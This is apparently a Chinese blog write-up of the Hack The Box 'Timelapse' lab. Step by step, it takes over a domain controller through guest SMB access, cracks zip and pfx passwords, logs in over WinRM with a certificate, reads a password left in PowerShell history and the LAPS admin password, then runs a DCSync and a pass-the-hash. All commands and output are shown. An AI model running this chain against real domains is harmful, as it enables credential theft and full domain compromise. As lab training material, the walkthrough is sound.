拾光

HTB-Timelapse：一张证书打开域控大门

一句话摘要

更新于 2026.08.05955 字约 3 分钟

file-20260728123610269

一、Nmap#

TCP 全端口扫描：

Bash
$ sudo nmap -sS -Pn -n -p- -T4 --min-rate 5000 10.129.227.113 -oA tcp_ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-07 23:54 EDT
Nmap scan report for 10.129.227.113
Host is up (0.0074s latency).
Not shown: 65518 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49667/tcp open  unknown
49677/tcp open  unknown
49678/tcp open  unknown
49699/tcp open  unknown

对开放端口进行详细扫描：

根据端口的开放情况，目标是 AD 中的 DC。

将扫描结果中出现的域名添加到本地 hosts 文件中：

Bash
echo '10.129.227.113 timelapse.htb DC01.timelapse.htb' | sudo tee -a /etc/hosts

二、legacyy_dev_auth.pfx#

SMB 匿名枚举共享资源：

Bash
$ smbmap -H 10.129.227.113 -u '' -p ''

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.129.227.113, no fun for you...
[*] Closed 1 connections

尝试 guest 用户 + 空密码：

Bash
$ smbmap -H 10.129.227.113 -u 'guest' -p ''

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)

[+] IP: 10.129.227.113:445      Name: timelapse.htb             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share
        Shares                                                  READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share
[*] Closed 1 connections

有两个可读共享，其中 Shares 为非常规共享，我打算枚举其中的文件：

Bash
$ netexec smb 10.129.227.113 -u 'guest' -p '' --spider Shares --pattern '' >> smb_shares

$ cat smb_shares | rg -v '\[+\]|\[\*\]|\[dir\]'
SMB                      10.129.227.113  445    DC01             [+] timelapse.htb\guest:
SMB                      10.129.227.113  445    DC01             //10.129.227.113/Shares/Dev/winrm_backup.zip [lastm:'2021-10-26 05:05' size:2611]
SMB                      10.129.227.113  445    DC01             //10.129.227.113/Shares/HelpDesk/LAPS.x64.msi [lastm:'2021-10-25 23:55' size:1118208]
SMB                      10.129.227.113  445    DC01             //10.129.227.113/Shares/HelpDesk/LAPS_Datasheet.docx [lastm:'2021-10-25 23:55' size:104422]
SMB                      10.129.227.113  445    DC01             //10.129.227.113/Shares/HelpDesk/LAPS_OperationsGuide.docx [lastm:'2021-10-25 23:55' size:641378]
SMB                      10.129.227.113  445    DC01             //10.129.227.113/Shares/HelpDesk/LAPS_TechnicalSpecification.docx [lastm:'2021-10-25 23:55' size:72683]

将这些文件下载到本地：

Bash
$ smbclient -U 'guest%' //10.129.227.113/Shares
Try "help" to get a list of possible commands.
smb: \> cd Dev
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (2.8 KiloBytes/sec) (average 2.8 KiloBytes/sec)
smb: \> cd HelpDesk\
smb: \HelpDesk\> prompt
smb: \HelpDesk\> mget *
getting file \HelpDesk\LAPS.x64.msi of size 1118208 as LAPS.x64.msi (231.8 KiloBytes/sec) (average 231.8 KiloBytes/sec)
getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as LAPS_Datasheet.docx (41.0 KiloBytes/sec) (average 165.8 KiloBytes/sec)
getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as LAPS_OperationsGuide.docx (118.6 KiloBytes/sec) (average 145.8 KiloBytes/sec)
getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as LAPS_TechnicalSpecification.docx (72.3 KiloBytes/sec) (average 140.5 KiloBytes/sec)

LAPS 是微软提供的本地管理员密码解决方案，可实现密码的自动生成、维护、更新等操作。

这几个 Docx 文件都是与 LAPS 相关的操作文档，并没有什么特别的内容。

zip 中的 legacyy_dev_auth.pfx 受到密码保护：

Bash
$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:

我打算使用 John the Ripper jumbo 进行密码破解：

Bash
$ zip2john winrm_backup.zip > winrm_backup.hashes

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt winrm_backup.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 6 OpenMP threads
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)

用得到的密码解密压缩包：

Bash
$ unzip winrm_backup.zip -d winrm_backup
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
  inflating: winrm_backup/legacyy_dev_auth.pfx

.pfx 文件通常用于存放数字证书和私钥，但该文件通常是加密的：

Bash
$ openssl pkcs12 -in legacyy_dev_auth.pfx -info -nodes
Enter Import Password:
MAC: sha1, Iteration 2000
MAC length: 20, salt length: 20
Mac verify error: invalid password?

同样可以用 john 尝试破解：

Bash
$ pfx2john legacyy_dev_auth.pfx >> legacyy_dev_auth.hashes

$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt legacyy_dev_auth.hashes
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy       (legacyy_dev_auth.pfx)

用密码解密后，能看到私钥以及证书信息：

将私钥、证书分别保存为：

  • private_key.pem
  • certificate.pem

三、legacyy shell#

DC 开放了 5986 端口，其对应服务是 WinRM Over HTTPS，这意味着客户端和服务器之间先要完成 TLS 握手才能进行后续的身份认证。

在此场景中，若服务器和客户端均启用“证书身份验证”，则客户端可以通过证书和私钥完成身份认证。

具体来讲（省去了部分 TLS 握手细节，比如密钥交换）：

  1. 服务器会向客户端发送自己的证书
  2. 客户端验证服务器证书
  3. 完成 TLS 握手之后，客户端会在 WS-Man 请求中带上特殊的 Authorization 头
  4. 服务器看到这个请求头之后，会向客户端索要证书
  5. 客户端发送自己的证书以及对握手消息的签名信息（用私钥签）
  6. 服务器对签名进行验证
  7. 验证通过后，服务器会用该证书进行身份映射
  8. 若用户存在，并且具备访问 WinRM 的权限，则身份验证通过，后续会话以该账户身份运行

特殊的 Authorization 头（参考文章）：http://schemas.dmtf.org/wbem/wsman/1/wsman/secprofile/https/mutual

使用 evil-winrm 工具，尝试用证书登入 WinRM：

Bash
$ evil-winrm -i 10.129.227.113 -S -c certificate.pem -k private_key.pem

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents>

成功。

在 Desktop 目录中能找到 User Flag：

PowerShell
*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
e3782c5*********************

查看了当前用户的特权以及组信息，但没发现什么特别的：

查看 Powershell 命令历史存储文件：

PowerShell
*Evil-WinRM* PS C:\> (get-psreadlineoption).historysavepath
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
PowerShell
*Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> cat ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

核心操作：提供凭据，使用本地 WinRM 服务进行代码执行。

暴露了凭证信息：

Text
username: svc_deploy
password: E3R$Q62^12p7PLlC%KWaxuaV

四、svc_deploy shell#

svc_deploy 用户同样具备访问 WinRM 的权限：

Bash
$ netexec winrm 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' --port 5986
WINRM-SSL   10.129.227.113  5986   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:timelapse.htb)
WINRM-SSL   10.129.227.113  5986   DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV (Pwn3d!)

通过 evil-winrm 获得 Shell：

Bash
$ evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

发现当前用户属于 LAPS_Readers 组：

PowerShell
State:          Enabled
*Evil-WinRM* PS C:\> net user svc_deploy /domain
User name                    svc_deploy
Full Name                    svc_deploy
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/25/2021 12:12:37 PM
Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/25/2021 12:25:53 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
The command completed successfully.

这是否意味着该用户可以读取 LAPS 所管理的管理员密码？

上传采集器：

PowerShell
*Evil-WinRM* PS C:\Users\svc_deploy> upload ../SharpHound.exe

Info: Uploading /home/zyf/htb_workdir/timelapse/SharpHound.exe to C:\Users\svc_deploy\SharpHound.exe

Data: 1402196 bytes of 1402196 bytes copied

Info: Upload successful!

开启默认采集：

PowerShell
*Evil-WinRM* PS C:\Users\svc_deploy> ./SharpHound.exe
[snip]
Completed at 10:45 AM on 8/8/2026! Happy Graphing!

将采集结果下载后，上传到 BloodHound 上。

通过检索功能锁定 svc_deploy 用户，并查看其出边：

file-20260808175056000

发现 LAPS_READERS 组对 DC01 主机具备 ReadLAPSPassword 权限，这使得我可以读取 LAPS 中的属性列表。

上传 PowerView：

PowerShell
*Evil-WinRM* PS C:\Users\svc_deploy> upload PowerView.ps1

Info: Uploading /home/zyf/htb_workdir/timelapse/winrm_backup/PowerView.ps1 to C:\Users\svc_deploy\PowerView.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

运行后，读取 LAPS 属性列表中的三个关键属性：

PowerShell
*Evil-WinRM* PS C:\Users\svc_deploy> . .\PowerView.ps1
*Evil-WinRM* PS C:\Users\svc_deploy> Get-DomainComputer "dc01.timelapse.htb" -Properties "cn","ms-mcs-admpwd","ms-mcs-admpwdexpirationtime"

ms-mcs-admpwd            ms-mcs-admpwdexpirationtime cn
-------------            --------------------------- --
l7z3+!s+@IGw&&j}C4nf9}lb          134310955894588464 DC01

五、Root Flag#

LAPS 管理的是本地管理员，因此我获得的是 DC01 上本地管理员的密码。

我通过 evil-winrm 获得 Shell 之后，并没有找到 Root Flag。

我打算直接进行 DCSync（通过调用域控的 DRSUAPI 来模拟远程域控的信息复制操作）：

Bash
$ secretsdump.py 'timelapse.htb/administrator:l7z3+!s+@IGw&&j}C4nf9}lb@10.129.227.113'                                                  
Impacket v0.14.0.dev0+20260729.95945.570f2833 - Copyright Fortra, LLC and its affiliated companies

[snip]
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d79d0fd37ca1791fc0c40bd8d27a3d12:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:2960d580f05cd511b3da3d3663f3cb37:::
[snip]

按道理说，我应该验证当前用户是否拥有 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All 这两个权限，但似乎最便捷的方式就是“直接利用”。

Desktop 目录中找不到 Root Flag：

Bash
$ evil-winrm -i 10.129.227.113 -u 'administrator' -H 'd79d0fd37ca1791fc0c40bd8d27a3d12' -S

Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls -force


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-       10/23/2021  11:27 AM            282 desktop.ini

在 TRX 的 Desktop 目录中能找到：

PowerShell
*Evil-WinRM* PS C:\Users\Administrator\Documents> get-childitem -path c:\ -filter root.txt -force -erroraction silentlycontinue -recurse


    Directory: C:\Documents and Settings\TRX\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         8/8/2026   4:53 AM             34 root.txt

该用户也属于 Domain Admin 组：

file-20260808201954327

查看：

Bash
*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt
492b992******************

键盘快捷键

全站

CtrlK
搜索
/
搜索
?
显示快捷键
Esc
关闭弹窗、退出模式

阅读文章

T
目录
F
专注模式
A
批注模式

批注模式

P
笔
H
荧光笔
L
激光笔
E
橡皮擦
1–6
切换颜色
Shift
按住拖动画直线
CtrlZ
撤销
CtrlShiftZ
重做